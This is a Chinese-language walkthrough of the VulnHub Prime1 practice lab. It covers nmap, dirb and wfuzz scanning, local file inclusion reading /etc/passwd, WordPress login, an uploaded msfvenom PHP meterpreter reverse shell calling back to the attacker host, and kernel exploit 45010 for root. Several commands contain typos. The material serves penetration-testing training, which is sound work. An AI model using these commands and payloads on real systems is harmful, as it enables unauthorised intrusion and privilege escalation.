前言:
相比于如DVWA、pikachu等靶场,完整系统的靶场更突出一个“无目的性”和“复杂性”,就好似一个密室逃脱游戏,存在着离谱的漏洞也存在着奇怪的提示。但是真实的渗透测试就是一个无目的的过程。当你在迷宫中走一遭,那么当你下一次遇见复杂的路况时候就不会晕头转向。
环境部署:本机vmwarm虚拟机Nat模式部署,靶机 prime1 下载地址:https://www.vulnhub.com 攻击机:kali。
技术涉及: namp端口和存活主机扫描 , dir目录扫描, FUZZ参数扫描 , MSF反弹连接,LINUX内核提权
重点:重点在于二、三、五章节,主要论述了扫描和在发现文件上传漏洞之后利用linux内核漏洞提权的过程,和思路、工具的利用。
目录
前言:
一、端口发现
1、namp存活主机扫描
2、nmap端口扫描
二、目录扫描
1、dirb目录扫描
2、dirb扫描文件
3、页面信息收集
三、FUZZ参数目录扫描
1、对上图图1路径FUZZ扫描参数
2、对图2路径FUZZ扫描参数
四、文件包含漏洞
1、利用本地文件包含漏洞
2、本地文件包含漏洞读取linux密码文件
五、Linux内核漏洞提权(重点)
1、MSF构造php反弹连接木马
2、MSF钓鱼监听
3、信息收集
4、编译执行文件
5、上传和文件提权
6、linux内核漏洞提权
一、端口发现
1、namp存活主机扫描
使用namp扫描原因:部署在本机的prime1并没配置静态ip地址,因此使用nmap扫描C类网段查看存活主机
nmap -sP 192.168.159.1/24
-sP :使用ping的方式扫描,相比于-sT扫描,省去了tcp握手,速度较快,适合端口发现。
如下图所示,扫描出了4个存活主机,其中159.1是本机,159.2是centos,159.138是kali,因此猜测159.139是靶机。并使用端口扫描验证
![eb509c4849084355a4e63a67bbf271f1.jpeg](https://img-blog.csdnimg.cn/eb509c4849084355a4e63a67bbf271f1.jpeg)
2、nmap端口扫描
nmap -P 1-65535 192.168.159.139
此处也可以使用:nmap -P- 192.168.159.139 扫描端口
扫描结果中发现了两个开放端口,ssh服务的22端口和thhp服务的80端口。![9110d11dad304d8c9341e5ed1855edc4.jpeg](https://img-blog.csdnimg.cn/9110d11dad304d8c9341e5ed1855edc4.jpeg)
二、目录扫描
为什么要进行目录扫描?
答:根据上一步所示扫描出了http服务端口80之后想到的一定是使用浏览器访问试一试,但是浏览器访问时候却发现是空白页面。
访问该空白页面时候的报错信息是直接弹出的,这说明了:1、ip和端口开放 2、缺少访问路径
![ac40c7797e884f459e323e4f329b2281.jpeg](https://img-blog.csdnimg.cn/ac40c7797e884f459e323e4f329b2281.jpeg)
1、dirb目录扫描
dirb和dirsearch都是目录扫描工具,区别在于前者可以指定字典轻度扫描,后者是深度扫描。
在扫描速度上: dirb>dirsearch
在扫描深度上: dirb<dirsearch![1388cbaf10094f7ab3514730e59d47fb.jpeg](https://img-blog.csdnimg.cn/1388cbaf10094f7ab3514730e59d47fb.jpeg)
2、dirb扫描文件
dirb http://192.168.159.139 -X .txt,.php,.zip
-X : 在默认的字典的每个单词后都分别加上 .txt .php .zip尝试
![deaf77d1ea46472b8c0b05458f4da512.jpeg](https://img-blog.csdnimg.cn/deaf77d1ea46472b8c0b05458f4da512.jpeg)
3、依次页面访问与信息收集
(本节内容是对访问到的页面访问,可粗略阅读即可)
对得到的数据进行访问是很重要的,可以收集到很多数据。打开发现的页面不关闭它是一个良好的习惯。
当扫描出了这么多个文件夹和页面当然要挨个访问试试。于是我挨个对页面访问。但是并没有想象的那么简单。
![388747ef5b664298b8cd53e5ec6b9fa3.png](https://img-blog.csdnimg.cn/388747ef5b664298b8cd53e5ec6b9fa3.png)
图1:http://192.168.159.139/wordpress/wp-content/index.php
图2 :http://192.168.159.139/index.php
![3f46cf68d37e46c89e8d7eb52cebde19.png](https://img-blog.csdnimg.cn/3f46cf68d37e46c89e8d7eb52cebde19.png)
图3 http://192.168.159.139/wordpress/wp-login.php![4225a587a75f42fba3c7531afec0d9f3.png](https://img-blog.csdnimg.cn/4225a587a75f42fba3c7531afec0d9f3.png)
图4 :http://192.168.159.139/wordpress/
![b02afc4c9b3d48aaaa75d467611ad01b.png](https://img-blog.csdnimg.cn/b02afc4c9b3d48aaaa75d467611ad01b.png)
图5 http://192.168.159.139/secret.txt
剩下的几个路径就不在这里一一展示了,他们有的是图片目录,有的是一段赞赏的话,有的是一段嘲讽的话,当我最后完成靶场时候发现那些路径都是没用的。
到了这一步,希望你也能思考一下,打开了这么多页面之后切入点是什么,该利用哪一点?
(打开你所发现的页面不关闭是一个好习惯)
三、FUZZ参数目录扫描
疑问:为什么会想到此处应该使用参数扫描?
答案:1、上节虽然发现很多页面和输入框,但是并没有什么实质性作用。反而对于php结尾存在空白页面,第一时间应该想到是不是缺少参数了?
2、 图5的提示
1、对上图图1路径FUZZ扫描参数
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.159.139/wordpress/wp-admin/index.php?FUZZ
-w :指定字典
FUZZ :占位符
FUZZ扫描结果:如下图一共扫描了950个参数,但是并没有任何回复,判断此页面确实不存在参数,因放弃此页面的FUZZ扫描。
![e4317f53f42a43edb4e3d439b635e112.jpeg](https://img-blog.csdnimg.cn/e4317f53f42a43edb4e3d439b635e112.jpeg)
2、对图2路径FUZZ扫描参数
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.159.139/index.php?FUZZ
![62cdbece75174865a9b3aee18ad99af2.jpeg](https://img-blog.csdnimg.cn/62cdbece75174865a9b3aee18ad99af2.jpeg)
共950个有效结果(上图没展示完毕)
对上图结果过滤: 过滤掉一般项,找出特殊结果。
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.159.139/index.php?FUZZ
--h w 12: 过滤掉单词长度为12的回复,此处的h是“handler” w是“word”
这句代码作用同上。 wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.159.139/index.php?FUZZ
过滤代码 ↑ 执行结果 ↓
截止目前,我们已经发现了一个页面,而且其中有参数file,好像是一个本地文件包含的函数,如果能找到任何的文件和路径,可能能将其打开。
四、文件包含漏洞
疑问:为什么想到了文件包含?
答案:上一步中发现了参数file,我在发现的时候第一时间就尝试读取 /etc/passwd 看看能不能找到图3的账号密码,但是显示无权限打开。
反而是图5中有一个提示“存在一个location.txt的文件”
1、利用本地文件包含漏洞
![2d5f7067d24f4a6181df46f194a31a3b.jpeg](https://img-blog.csdnimg.cn/2d5f7067d24f4a6181df46f194a31a3b.jpeg)
“使用secrettier360参数在其他的php页面使用”,原来为什么之前我们使用字典扫描图1的php参数扫描不出来,原来是参数太复杂了。
2、本地文件包含漏洞读取linux密码文件
前言:linux的核心思想是“一切视为文件”,它的密码也被视为了一个文件,而且存储在/etc/passwd下,那么使用正确的参数,利用本地文件包含漏洞直接读取/etc/passwd 密码文件
![30f6ed21664b40328aad981aa1493ea0.jpeg](https://img-blog.csdnimg.cn/30f6ed21664b40328aad981aa1493ea0.jpeg)
跟随提示访问路径/home.saket/password.txt,得到一个数值:follow_the_ippsec
——————————————————————————————————————————
小结:到目前为止,越来越觉得这个漏洞的挖掘像是一个“指引”,一个密室逃脱游戏,部分漏洞挖掘的时候从千奇百怪的地方入手,混乱而又奇怪。
但是到了现在这个prime1靶场的漏洞才刚刚开始,因为我们拿到的密码,和图4中暴露的账号刚好能够登陆到图3的后台!且发现了一个上传文件的地方!↓↓↓↓↓↓↓↓↓↓![69c8121bca294fd3bed53e1205eaaec3.jpeg](https://img-blog.csdnimg.cn/69c8121bca294fd3bed53e1205eaaec3.jpeg)
——————————————————————————————————————————
五、Linux内核漏洞提权(重点)
背景:此时使用图4暴露victor账户和挖掘到的密码登录了网站博客系统,在翻阅时候发现了一个可以上传文件的地方。考虑通过文件上传漏洞构造反弹连接从而实现提权
1、MSF构造php反弹连接木马
生成php平台的木马:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.159.138 LPORT=8888 -f raw > shell.php
msfvenom: msf的工具,可以生成任意操作系统,语言下的反弹链接木马
(13条消息) msf生成木马_L_DC的博客-CSDN博客
LPORT:反弹链接端口
LHOST:反弹连接
![eb2ff7fca31847a7b3ae18c2a5d78cd1.jpeg](https://img-blog.csdnimg.cn/eb2ff7fca31847a7b3ae18c2a5d78cd1.jpeg)
使用cat命令读取木马文件,并复制粘贴写入木马文件到网站
![00bd20948c33403097786ecb9fbf8b23.png](https://img-blog.csdnimg.cn/00bd20948c33403097786ecb9fbf8b23.png)
2、MSF钓鱼监听
msfconsole #启动msf
use use exploit/multi/handler #使用监听模块
set payload php/meterpreter_reverse_tcp #构造监听payload
options #查看配置
set lpost 8888 #设置监听端口
set lhost 192.168.159.139 #设置监听端ip
run #开启监听
上述代码执行完毕之后执行url,浏览器访问如下链接,执行目标木马文件,构造反弹连接
http://192.168.159.139/wordpress/wp-content/themes/twentynineteen/secret.php
![20b758a3533a4dc7af981158e96c0c17.jpeg](https://img-blog.csdnimg.cn/20b758a3533a4dc7af981158e96c0c17.jpeg)
3、信息收集
上节的图中已经看到了接入的反弹拦截靶机linux是4.10,内核是16.04.
使用msf查找对应的漏洞,发现可用的漏洞。
![9e24a0cce407467ba4cca3eb6aeb432c.jpeg](https://img-blog.csdnimg.cn/9e24a0cce407467ba4cca3eb6aeb432c.jpeg)
4、编译执行文件
疑问:为什么要编译?
答案:源文件是c文件,并不能直接运行,需要编译之后运行,因为不确定靶机是否有编译环境,因此在本机编译之后上传。
![26d0d86d122b42ea96b03d10c53cdc01.jpeg](https://img-blog.csdnimg.cn/26d0d86d122b42ea96b03d10c53cdc01.jpeg)
5、上传和文件提权
背景:通过下图发现已经发现上传成功,但是没执行权限。
疑问:什么是文件提权?
答案:目标文件没有执行权限,只有读写权限。
![753d772d689c4e3a8e4e8a05297c708e.jpeg](https://img-blog.csdnimg.cn/753d772d689c4e3a8e4e8a05297c708e.jpeg)
文件提权:
chmod +x 45010 #增加执行权限
若上述代码不可以,则执行这句话: chomd 455 45010 给一个文件赋予所有权限
6、linux内核漏洞提权
meterpreter本身只是一个工具,需要切换到shell之后执行文件。![951979247fb744cbae17656328a431bc.jpeg](https://img-blog.csdnimg.cn/951979247fb744cbae17656328a431bc.jpeg)
提权成功!root权限!
花了半天终于写完了,完成了从访问页面->获取后台管理员权限 -> 获取操作系统权限 -> 获取root权限的全过程。由于时间紧迫靠后的内容不是很详细,关键是在于思路。如有不懂欢迎留言,有空我会再补充!喜欢的话点个赞吧